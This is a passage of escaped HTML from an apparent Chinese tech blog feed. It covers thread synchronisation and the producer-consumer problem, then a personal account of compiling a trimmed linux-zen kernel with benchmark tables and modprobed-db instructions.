class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Thread 1.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d hehe\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以下是编译运行方式。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc thread.c -lpthread -o thread \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./thread\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eps -aux \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep thread \u003cspan class=\"c1\"\u003e# 记下 pid 号码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etop -H -p PID \u003cspan class=\"c1\"\u003e# 查看该 PID 对应的线程状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序的关键区是 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eturn\u003c/code\u003e ,因为它是两个进程共享的数据区域。其中 \u003ccode\u003ea\u003c/code\u003e 是两个进程互相访问的数据区,turn 是锁变量。\u003c/p\u003e\n\u003ch3 id=\"生产者和消费者问题\"\u003e生产者和消费者问题\u003c/h3\u003e\n\u003cp\u003e阅读代码,看看有啥问题。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e在单核 CPU 上:\u003c/p\u003e\n\u003cp\u003e先执行消费者进程:\u003cbr\u003e\n发现仓库里没有东西,准备睡眠。但是还没睡眠,进程切换到生产者了。\u003cbr\u003e\n生产者开始生产产品,发现仓库里有东西,向消费者进程发出唤醒信号。进程切换到消费者。\u003cbr\u003e\n消费者进程是醒着的,只是准备睡眠,把唤醒信号忽略掉,然后睡眠了,退出了 CPU 。\u003cbr\u003e\n最后生产者把仓库填满了,也睡了。两个进程都睡了:-P\u003c/p\u003e\n\u003cp\u003e如果目前仓库满了:\u003cbr\u003e\n生产者决定睡眠,但还没睡,进程切换到消费者了。\u003cbr\u003e\n消费者用了一个产品,发现仓库里数量为 N-1,唤醒生产者。\u003cbr\u003e\n生产者忽略了唤醒信号,睡眠。\u003cbr\u003e\n消费者用完了所有东西,也睡了:-P\u003c/p\u003e\n\u003cp\u003e要点:准备睡眠时切换进程了,唤醒信号被忽略。\u003c/p\u003e\n\u003ch3 id=\"mutex互斥锁和-semaphore信号量的不同\"\u003eMutex(互斥锁)和 Semaphore(信号量)的不同\u003c/h3\u003e\n\u003cp\u003eMutex 实现在用户态,代价低,数量上限高。Semaphore 实现在内核态,代价高,数量上限低。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/HuqXCyzwJA3N2kE.jpg\" alt=\"Featured image of post 自己编译 Linux 内核,好像一点用都没有?\" /\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/li\u003e\n\u003cli\u003e为啥自己编译没用~性能对比和优劣势对比\u003c/li\u003e\n\u003cli\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/li\u003e\n\u003cli\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/li\u003e\n\u003cli\u003e结尾\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"为什么我要自己编译内核-linux-内核的多元化\"\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/h2\u003e\n\u003cp\u003e很简单,下学期我有门课,叫“操作系统”,据说需要编译内核。实际上我之前编译过,但是我没有接触过设置,这回想看看我能设置啥。\u003cbr\u003e\n不过我最讨厌学习了,所以接下来的才是真正原因233\u003cbr\u003e\n我玩《黑山起源》,玩起来很卡。游戏设置当然是调了,但根据我之前压制视频,我觉得是内核没有把我的核显和 CPU 压榨干净(我的电脑是轻薄本)。之前看过很多帖子,说用了特制内核,跑起来能快一些。\u003cbr\u003e\n这里,我提到了“特制内核”。因为 Linux 内核是开源的,自然,有人魔改了很多版本。这里介绍四个版本:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e长期支持版(LTS),为了稳定而优化的版本,相当于 Windows 的 LTSC 版。一般出现在 CentOS 和 Ubuntu 上面。\u003c/li\u003e\n\u003cli\u003elinux-zen,为了桌面电脑而进行过性能优化。我日用这个版本。\u003c/li\u003e\n\u003cli\u003elinux-hardened,为了系统安全而优化的版本。\u003c/li\u003e\n\u003cli\u003elinux-libre,为了代码的绝对自由而砍掉了很多驱动。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然,如果你是为了应付操作系统实验,我建议你还是使用原版吧。首先,网上教程丰富,其次,代码简单易得。\u003c/p\u003e\n\u003ch2 id=\"为啥自己编译没用性能对比\"\u003e为啥自己编译没用~性能对比\u003c/h2\u003e\n\u003cp\u003e鉴于我编译内核,最主要的出发点是加速游戏运行,自然我得提供这方面的数据了。\u003cbr\u003e\n我的自制内核,基于 linux-zen 内核,精简了很多没必要的驱动,以及在电脑管理模块强制使用性能模式,并根据我的处理器型号(AMD Ryzen 4750U),使用了\u0026quot;Zen 2\u0026quot;性能优化。\u003cbr\u003e\n以下跑分均在我的电脑上进行,型号是 Thinkpad T14 ,系统是最新的 Arch Linux ,在接电情况下进行。\u003cbr\u003e\n首先是GeekBench(下称GB)的跑分成绩:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctr\u003e\n\t\t\u003cth rowspan=\"2\"\u003e测试次数\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5038\u003c/td\u003e\n\t\t\u003ctd\u003e12522767\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5112\u003c/td\u003e\n\t\t\u003ctd\u003e12523274\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e1191\u003c/td\u003e\n\t\t\u003ctd\u003e5090\u003c/td\u003e\n\t\t\u003ctd\u003e12522823\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5119\u003c/td\u003e\n\t\t\u003ctd\u003e12523312\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e1214\u003c/td\u003e\n\t\t\u003ctd\u003e5087\u003c/td\u003e\n\t\t\u003ctd\u003e12522819\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5109\u003c/td\u003e\n\t\t\u003ctd\u003e12522353\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\u003ctd\u003e1206\u003c/td\u003e\n\t\t\u003ctd\u003e5070\u003c/td\u003e\n\t\t\u003ctd\u003e12522915\u003c/td\u003e\n\t\t\u003ctd\u003e1207\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523397\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\u003ctd\u003e1215\u003c/td\u003e\n\t\t\u003ctd\u003e5086\u003c/td\u003e\n\t\t\u003ctd\u003e12522951\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523431\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\u003ctd\u003e1217\u003c/td\u003e\n\t\t\u003ctd\u003e5092\u003c/td\u003e\n\t\t\u003ctd\u003e12522998\u003c/td\u003e\n\t\t\u003ctd\u003e1212\u003c/td\u003e\n\t\t\u003ctd\u003e5098\u003c/td\u003e\n\t\t\u003ctd\u003e12523485\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均成绩\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5077\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5115\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\u003c/tr\u003e\t\n\u003c/table\u003e\n\u003cp\u003e接下来是《半条命2:失落的海岸线》(与《黑山起源》同为起源引擎)的跑分成绩,单位是 FPS:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e测试次数\u003c/th\u003e\n\t\t\u003cth\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e155.31\u003c/td\u003e\n\t\t\u003ctd\u003e151.91\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e137.70\u003c/td\u003e\n\t\t\u003ctd\u003e139.08\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e137.63\u003c/td\u003e\n\t\t\u003ctd\u003e141.41\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均FPS\u003c/td\u003e\n\t\t\u003ctd\u003e143.5\u003c/td\u003e\n\t\t\u003ctd\u003e144.1\u003c/td\u003e\n\t\u003c/tr\u003e\n\u003c/table\u003e\n\u003cp\u003e由上可见,虽然自编译内核相较原版内核,有一定的性能提升,但是提升幅度不大。而我还发现,使用强制性能模式会导致电脑风扇长时间运行,CPU 过热现象明显。而在新内核下运行《黑山起源》,我觉得流畅度有些微提升,至少没有之前那么卡了。但是我高度怀疑这是某种安慰剂效应。\u003cbr\u003e\n所以,自行编译内核并没有达到我的需求。但这不意味着我白搞了一通,至少编译内核速度快了。\n补充说明:我当时玩的是《黑山起源》的 Linux 版本,那个版本被很多的 ProtonDB 用户评为垃圾水平,因为在 AMDGPU 上会有贴图故障,而且不太更新。详情看这个。\n好了,进入我这篇文章的宝藏部分捏。\u003c/p\u003e\n\u003ch2 id=\"如何加速内核编译使用-modprobed-db-精简驱动模块\"\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/graysky2/modprobed-db\" target=\"_blank\" rel=\"noopener\"\n \u003emodprobed-db\u003c/a\u003e 是一个 bash 脚本,他能侦测你系统目前所使用的模块,并记录下来。在编译内核的时候,程序只会编译我们使用过的驱动模块,加速编译速度,减少内核体积。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e:使用这个软件,可能会精简驱动过头,导致使用不便。请各位打算使用前,最好稍微了解一下内核配置选项。本人仅在 Arch Linux 下运行过这个软件,如果你用的是 Ubuntu 等系统,使用有问题的话,请跟我说一下。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"过一下编译内核的一般步骤\"\u003e过一下编译内核的一般步骤\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e电脑装好编译环境,一般包括 gcc,make 等。Arch Linux 是要安装上 \u003ccode\u003ebase-devel\u003c/code\u003e 软件包组和 \u003ccode\u003egcc\u003c/code\u003e 。\u003c/li\u003e\n\u003cli\u003e你需要拖下来最新稳定版的内核源代码,然后进入源代码文件夹:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux-stable.git \u003cspan class=\"c1\"\u003e# 这里使用了清华镜像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e linux-stable\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e使用以下任意一个命令,配置内核参数:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make nconfig \u003cspan class=\"c1\"\u003e# 命令行界面配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make xconfig \u003cspan class=\"c1\"\u003e# 图形化界面配置(使用 QT )\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e: 很多教程是用make config配置内核,本人不推荐。界面太原始就算了,在 Arch Wiki 上面被标记为\u0026quot;被 nconfig 取代\u0026quot;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"nconfig长这样\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003enconfig长这样\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e使用 \u003ccode\u003emake -j$n\u003c/code\u003e 命令编译,这里 \u003ccode\u003e$n\u003c/code\u003e 代表你电脑/虚拟机的核心数。\u003c/li\u003e\n\u003cli\u003e使用以下两个命令来安装内核:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make module_install \u003cspan class=\"c1\"\u003e# 安装内核模块\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install \u003cspan class=\"c1\"\u003e# 安装内核本身\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"6\"\u003e\n\u003cli\u003e重启到新内核,如果没有的话,查看系统引导器设置。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用-modprobed-db-精简内核\"\u003e使用 modprobed-db 精简内核\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e获取 modprobed-db 软件。Arch Linux 用户可以使用 AUR 直接安装 \u003ccode\u003emodprobed-db\u003c/code\u003e 软件包。如果不是的话,根据该软件 Github 所介绍:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://github.com/graysky2/modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e获取目前你电脑正在挂载的模块:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db \u003cspan class=\"c1\"\u003e# 初始化软件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db store \u003cspan class=\"c1\"\u003e# 获取目前运行模块并保存在一个数据库中\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db list \u003cspan class=\"c1\"\u003e# 列出存在数据库里面,电脑运行过的的内核模块记录\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db debug \u003cspan class=\"c1\"\u003e# 列出目前运行系统模块和数据库记录的异同\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e在编译内核的时候,配置内核参数部分,执行这个命令来关掉不需要的模块编译开关。然后编译安装即可。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ make LSMOD=$HOME/.config/modprobed.db localmodconfig\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"使用提示\"\u003e使用提示\u003c/h3\u003e\n\u003cp\u003e如果你是实机运行的话,务必把所有你要使用的设备都使用上。这里我翻译一下\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Modprobed-db#Populating_the_database\" target=\"_blank\" rel=\"noopener\"\n \u003e Arch Wiki 的原文\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e挂载上所有需要用到的文件系统\u003c/li\u003e\n\u003cli\u003e接上所有需要用到的可移动媒体,比如U盘,光驱等\u003c/li\u003e\n\u003cli\u003e以上选项包括挂载 ISO 文件,这个涉及到 loop 模块和 isofs 模块\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有设备,例如网卡,输入设备,电脑摄像头,移动设备等\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有应用程序,有些程序是需要特定内核模块来运行的,比如虚拟机\u003c/li\u003e\n\u003cli\u003e在不同版本/特制的内核上运行 modprobed-db,也许会录入一些其他内核没有的模块\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我当时没有插上我的光驱,就运行了这个,结果新内核没法读我的光驱:-P\u003c/p\u003e\n\u003ch2 id=\"我到底配置了啥给大家看看我改过的内核配置\"\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/h2\u003e\n\u003cp\u003e我上面说过,使用 modprobed-db 的前提是对内核配置有一定了解,至少需要看到选项的时候,脑瓜不疼。(如果你是应付操作系统实验,我看\u003ca class=\"link\" href=\"https://github.com/LevickCG/Happy-SE-in-XDU/tree/master/OS\" target=\"_blank\" rel=\"noopener\"\n \u003e我们学校的操作系统资料\u003c/a\u003e和\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\n \u003e小梦哥哥的实验总结\u003c/a\u003e的步骤,我觉得你要是在虚拟机下直接搞,应该没有问题)\u003cbr\u003e\n所以,我来给大家看一下我的内核配置吧,给大家看看我改了什么。这里我用 \u003ccode\u003emake nconfig\u003c/code\u003e 配置。\u003cbr\u003e\n第一个选项是总体选项,是包括了内核压缩,特定版本号之类的信息。请看 xmgg 的吧。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"默认界面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e默认界面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这是默认界面,配置程序给了我们一些选项。下面的功能键中,F2可以查看配置选项的详细信息,F9可以搜索配置选项。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"处理器类型和特性\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e处理器类型和特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方是配置处理器相关信息的。我这里把很多因特尔处理器的独家特性给删掉了,然后处理器优化强制设置为Zen 2。其他方面的有任务调度之类,我没有动,因为不懂。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"插入电源管理特性\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e插入电源管理特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置电源管理,我开启了休眠和睡眠,然后将CPU频率调整设置为\u0026quot;性能\u0026quot;。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"文件系统选项\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e文件系统选项\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置文件系统支持,是精简内核的重中之重,也是一个坑。如果精简过头,可能插个U盘读不出来。尤其注意CD文件系统和DOS文件系统选项。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"驱动配置\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e驱动配置\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置驱动选项,基本上编译内核,大部分时间都是在编译驱动。所以,这个地方我们可以大开杀戒。不过千万不要要把你需要用到的驱动给去了。\u003cbr\u003e\n其他方面,诸如支持32位可执行程序,内核安全算法,调试选项等,我就不说啦。\u003c/p\u003e\n\u003ch2 